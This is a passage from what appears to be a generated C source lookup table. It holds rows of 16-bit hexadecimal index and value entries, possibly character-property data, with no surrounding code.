0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0,
0x13b0, 0x13b0, 0x13c0, 0x04b0, 0x0580, 0x0580, 0x0580, 0x0580,
0x0580, 0x0580, 0x13d0, 0x13d0, 0x13d0, 0x13d0, 0x13d0, 0x13e0,
0x04b0, 0x04b0, 0x13f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0,
0x1400, 0x04f0, 0x1410, 0x1420, 0x04b0, 0x04b0, 0x04b0, 0x1430,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x1440, 0x1440, 0x1440, 0x1440, 0x1450, 0x1460, 0x0780, 0x1470,
0x04b0, 0x04b0, 0x04b0, 0x1480, 0x1480, 0x1490, 0x0d70, 0x14a0,
0x14b0, 0x14b0, 0x14b0, 0x14b0, 0x14c0, 0x14d0, 0x0d30, 0x14e0,
0x14f0, 0x14f0, 0x14f0, 0x1500, 0x1510, 0x1520, 0x0d30, 0x0d30,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x1530, 0x1540, 0x1210, 0x04f0, 0x04f0, 0x1550, 0x1560, 0x0e10,
0x0e10, 0x0e10, 0x0e10, 0x0e10, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70,
0x0d70, 0x0d70, 0x1570, 0x0d70, 0x1580, 0x0d70, 0x0d70, 0x1590,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x15a0, 0x1220,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x15b0, 0x04b0, 0x04b0,
0x15c0, 0x15d0, 0x05f0, 0x15e0, 0x15f0, 0x0650, 0x0650, 0x0650,
0x0650, 0x0650, 0x0650, 0x0650, 0x1600, 0x0770, 0x0650, 0x0650,
0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650,
0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650,
0x0650, 0x0650, 0x0650, 0x1610, 0x04b0, 0x0650, 0x0650, 0x0650,
0x0650, 0x1620, 0x0650, 0x0650, 0x1630, 0x04b0, 0x04b0, 0x1610,
0x04b0, 0x04b0, 0x1640, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x1650,
0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x1660,
0x04b0, 0x04b0, 0x04c0, 0x04d0, 0x04c0, 0x04d0, 0x1670, 0x12c0,
0x12d0, 0x1680, 0x0d70, 0x1330, 0x1690, 0x16a0, 0x04b0, 0x04b0,
/* values */
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x003b, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x003b,
0x003b, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x003b, 0x003b, 0x003b, 0x003b, 0x003b, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x000c, 0x000c, 0x0000, 0x0000, 0x0000, 0x0000,
0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0025, 0x0025, 0x0025,
0x0000, 0x0000, 0x0025, 0x0025, 0x0025, 0x0025, 0x0000, 0x0025,
0x0000, 0x0000, 0x0000, 0x0000, 0x0025, 0x0000, 0x0025, 0x0000,
0x0025, 0x0025, 0x0025, 0x0000, 0x0025, 0x0000, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x0000, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025, 0x0025,
0x0025, 0x0025, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017,
0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017, 0x0017,
0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a,
0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a,
0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x0000, 0x0000, 0x001a,
0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a, 0x001a,
0x0000, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0000,
0x0000, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,
0x0000, 0x0000, 0x0005, 0x0000, 0x0000, 0x0005, 0x0005, 0x0005,
0x0000, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x002c,
0x002c, 0x002c, 0x002c, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x002c, 0x002c, 0x002c, 0x002c, 0x002c, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0000, 0x0000, 0x0000, 0x0004, 0x0000,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0000, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0000, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0004, 0x0004,
0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071,
0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0000, 0x0071,
0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071,
0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071,
0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071, 0x0071,
0x0071, 0x0071, 0x0071, 0x0000, 0x0000, 0x0071, 0x0071, 0x0071,
0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007a,
0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007a, 0x007a,
0x007a, 0x007a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053,
0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053,
0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053, 0x0053,
0x0053, 0x0053, 0x0053, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067,
0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067,
0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067,
0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0000, 0x0000,
0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067,
0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0067, 0x0000,
0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045,
0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045,
0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045, 0x0045,
0x0045, 0x0045, 0x0045, 0x0045, 0x0000, 0x0000, 0x0045, 0x0000,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0004,
0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c,
0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c,
0x001c, 0x0000, 0x0000, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c,
0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c,
0x001c, 0x001c, 0x001c, 0x001c, 0x0000, 0x0000, 0x001c, 0x001c,
0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c, 0x001c,
0x000b, 0x000b, 0x000b, 0x000b, 0x0000, 0x000b, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x0000, 0x0000, 0x000b,
0x000b, 0x0000, 0x0000, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x0000, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x0000, 0x000b, 0x0000, 0x0000, 0x0000, 0x000b, 0x000b,
0x000b, 0x000b, 0x0000, 0x0000, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x0000, 0x0000, 0x000b,
0x000b, 0x0000, 0x0000, 0x000b, 0x000b, 0x000b, 0x000b, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x000b,
0x0000, 0x0000, 0x0000, 0x0000, 0x000b, 0x000b, 0x0000, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x0000, 0x0000, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b, 0x000b,
0x000b, 0x000b, 0x000b, 0x000b, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0027, 0x0027, 0x0027, 0x0000, 0x0027, 0x0027, 0x0027,
0x0027, 0x0027, 0x0027, 0x0000, 0x0000, 0x0000, 0x0000, 0x0027,
0x0027, 0x0000, 0x0000, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027,
0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027,
0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027,
0x0027, 0x0000, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027,
0x0027, 0x0000, 0x0027, 0x0027, 0x0000, 0x0027, 0x0027, 0x0000,
0x0027, 0x0027, 0x0000, 0x0000, 0x0027, 0x0000, 0x0027, 0x0027,
0x0027, 0x0027, 0x0027, 0x0000, 0x0000, 0x0000, 0x0000, 0x0027,
0x0027, 0x0000, 0x0000, 0x0027, 0x0027, 0x0027, 0x0000, 0x0000,
0x0000, 0x0027, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0027, 0x0027, 0x0027, 0x0027, 0x0000, 0x0027, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0027, 0x0027,
0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027,
0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0027, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0026, 0x0026, 0x0026, 0x0000, 0x0026, 0x0026, 0x0026,
0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0000, 0x0026,
0x0026, 0x0026, 0x0000, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026,
0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026,
0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026,
0x0026, 0x0000, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026,
0x0026, 0x0000, 0x0026, 0x0026, 0x0000, 0x0026, 0x0026, 0x0026,
0x0026, 0x0026, 0x0000, 0x0000, 0x0026, 0x0026, 0x0026, 0x0026,
0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0000, 0x0026,
0x0026, 0x0026, 0x0000, 0x0026, 0x0026, 0x0026, 0x0000, 0x0000,
0x0026, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0026, 0x0026, 0x0026, 0x0026, 0x0000, 0x0000, 0x0026, 0x0026,
0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026, 0x0026,
0x0026, 0x0026, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0026, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x005d, 0x005d, 0x005d, 0x0000, 0x005d, 0x005d, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x0000, 0x0000, 0x005d,
0x005d, 0x0000, 0x0000, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d,
0x005d, 0x0000, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d,
0x005d, 0x0000, 0x005d, 0x005d, 0x0000, 0x005d, 0x005d, 0x005d,
0x005d, 0x005d, 0x0000, 0x0000, 0x005d, 0x005d, 0x005d, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x0000, 0x0000, 0x005d,
0x005d, 0x0000, 0x0000, 0x005d, 0x005d, 0x005d, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x005d, 0x005d,
0x0000, 0x0000, 0x0000, 0x0000, 0x005d, 0x005d, 0x0000, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x0000, 0x0000, 0x005d, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d,
0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d, 0x005d,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0078, 0x0078, 0x0000, 0x0078, 0x0078, 0x0078,
0x0078, 0x0078, 0x0078, 0x0000, 0x0000, 0x0000, 0x0078, 0x0078,
0x0078, 0x0000, 0x0078, 0x0078, 0x0078, 0x0078, 0x0000, 0x0000,
0x0000, 0x0078, 0x0078, 0x0000, 0x0078, 0x0000, 0x0078, 0x0078,
0x0000, 0x0000, 0x0000, 0x0078, 0x0078, 0x0000, 0x0000, 0x0000,
0x0078, 0x0078, 0x0078, 0x0000, 0x0000, 0x0000, 0x0078, 0x0078,
0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078,
0x0078, 0x0078, 0x0000, 0x0000, 0x0000, 0x0000, 0x0078, 0x0078,
0x0078, 0x0078, 0x0078, 0x0000, 0x0000, 0x0000, 0x0078, 0x0078,
0x0078, 0x0000, 0x0078, 0x0078, 0x0078, 0x0078, 0x0000, 0x0000,
0x0078, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0078,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0078, 0x0078,
0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078,
0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078, 0x0078,
0x0078, 0x0078, 0x0078, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0079, 0x0079, 0x0079, 0x0079, 0x0000, 0x0079, 0x0079, 0x0079,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0000, 0x0079, 0x0079,
0x0079, 0x0000, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0079, 0x0000, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0079, 0x0079, 0x0000, 0x0000, 0x0000, 0x0079, 0x0079, 0x0079,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0000, 0x0079, 0x0079,
0x0079, 0x0000, 0x0079, 0x0079, 0x0079, 0x0079, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0079, 0x0079, 0x0000,
0x0079, 0x0079, 0x0079, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0079, 0x0079, 0x0079, 0x0079, 0x0000, 0x0000, 0x0079, 0x0079,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079, 0x0079,
0x0000, 0x0033, 0x0033, 0x0033, 0x0000, 0x0033, 0x0033, 0x0033,
0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0000, 0x0033, 0x0033,
0x0033, 0x0000, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033,
0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033,
0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033,
0x0033, 0x0000, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033,
0x0033, 0x0033, 0x0033, 0x0033, 0x0000, 0x0033, 0x0033, 0x0033,
0x0033, 0x0033, 0x0000, 0x0000, 0x0033, 0x0033, 0x0033, 0x0033,
0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0000, 0x0033, 0x0033,
0x0033, 0x0000, 0x0033, 0x0033, 0x0033, 0x0033, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0033, 0x0033, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0033, 0x0000,
0x0033, 0x0033, 0x0033, 0x0033, 0x0000, 0x0000, 0x0033, 0x0033,
0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033, 0x0033,
0x0000, 0x0033, 0x0033, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0044, 0x0044, 0x0044, 0x0000, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0000, 0x0044, 0x0044,
0x0044, 0x0000, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0000, 0x0000, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0000, 0x0044, 0x0044,
0x0044, 0x0000, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0044,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0000, 0x0000, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0000, 0x0000,
0x0000, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044, 0x0044,
0x0000, 0x0000, 0x006d, 0x006d, 0x0000, 0x006d, 0x006d, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x0000,
0x0000, 0x0000, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x006d, 0x006d, 0x0000, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x0000, 0x006d, 0x0000, 0x0000,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x0000,
0x0000, 0x0000, 0x006d, 0x0000, 0x0000, 0x0000, 0x0000, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x0000, 0x006d, 0x0000,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x006d, 0x006d,
0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d, 0x006d,
0x0000, 0x0000, 0x006d, 0x006d, 0x006d, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b,
0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b,
0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b,
0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b,
0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b,
0x007b, 0x007b, 0x007b, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b, 0x007b,
0x007b, 0x007b, 0x007b, 0x007b, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x003a, 0x003a, 0x0000, 0x003a, 0x0000, 0x0000, 0x003a,
0x003a, 0x0000, 0x003a, 0x0000, 0x0000, 0x003a, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x003a, 0x003a, 0x003a, 0x003a,
0x0000, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a,
0x0000, 0x003a, 0x003a, 0x003a, 0x0000, 0x003a, 0x0000, 0x003a,
0x0000, 0x0000, 0x003a, 0x003a, 0x0000, 0x003a, 0x003a, 0x003a,
0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a,
0x003a, 0x003a, 0x0000, 0x003a, 0x003a, 0x003a, 0x0000, 0x0000,
0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x0000, 0x003a, 0x0000,
0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x0000, 0x0000,
0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a, 0x003a,
0x003a, 0x003a, 0x0000, 0x0000, 0x003a, 0x003a, 0x003a, 0x003a,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x0000, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x0000, 0x0000, 0x0000,
0x0000, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x0000, 0x007c, 0x007c,
0x007c, 0x007c, 0x007c, 0x007c, 0x007c, 0x0000, 0x0000, 0x0000,
0x0000, 0x007c, 0x007c, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050,
0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050, 0x0050,
0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021,
0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021,
0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0000, 0x0021,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0021, 0x0000, 0x0000,
0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021, 0x0021,
0x0021, 0x0021, 0x0021, 0x0000, 0x0021, 0x0021, 0x0021, 0x0021,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029, 0x0029,
